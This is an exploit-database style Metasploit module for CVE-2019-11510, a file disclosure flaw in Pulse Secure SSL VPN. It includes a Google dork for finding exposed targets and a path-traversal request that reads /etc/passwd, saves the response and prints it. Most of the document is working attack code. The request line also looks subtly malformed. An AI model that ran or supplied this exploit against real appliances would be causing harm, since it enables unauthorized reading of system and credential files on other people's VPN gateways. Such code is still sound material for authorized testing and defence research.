```
# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Post::File
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Pulse Secure - System file leak',
            'Description'    => %q{
                Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
            },
            'References'     =>
                [
                    [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
                ],
            'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
            'License'        => MSF_LICENSE,
             'DefaultOptions' =>
              {
                'RPORT' => 443,
                'SSL' => true
              },
            ))

    end


    def run()
```

```
        print_good("Checking target...")
        res = send_request_raw({'uri'=>'/dana-
na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},13

        if res && res.code == 200
            print_good("Target is Vulnerable!")
            data = res.body
            current_host = datastore['RHOST']
            filename = "msf_sslwebsession_"+current_host+".bin"
            File.delete(filename) if File.exist?(filename)
            file_local_write(filename, data)
            print_good("Parsing file.......")
            parse()
        else
            if(res && res.code == 404)
                print_error("Target not Vulnerable")
            else
                print_error("Ooof, try again...")
            end
        end
    end
    def parse()
        current_host = datastore['RHOST']

        fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
        words = 0
        while (line = fileObj.gets)
            printable_data = line.gsub(/[^[:print:]]/, '.')
            array_data = printable_data.scan(/.{1,60}/m)
            for ar in array_data
                if ar != "............................................................"
                    print_good(ar)
                end
            end
            #print_good(printable_data)

        end
        fileObj.close
    end
end
```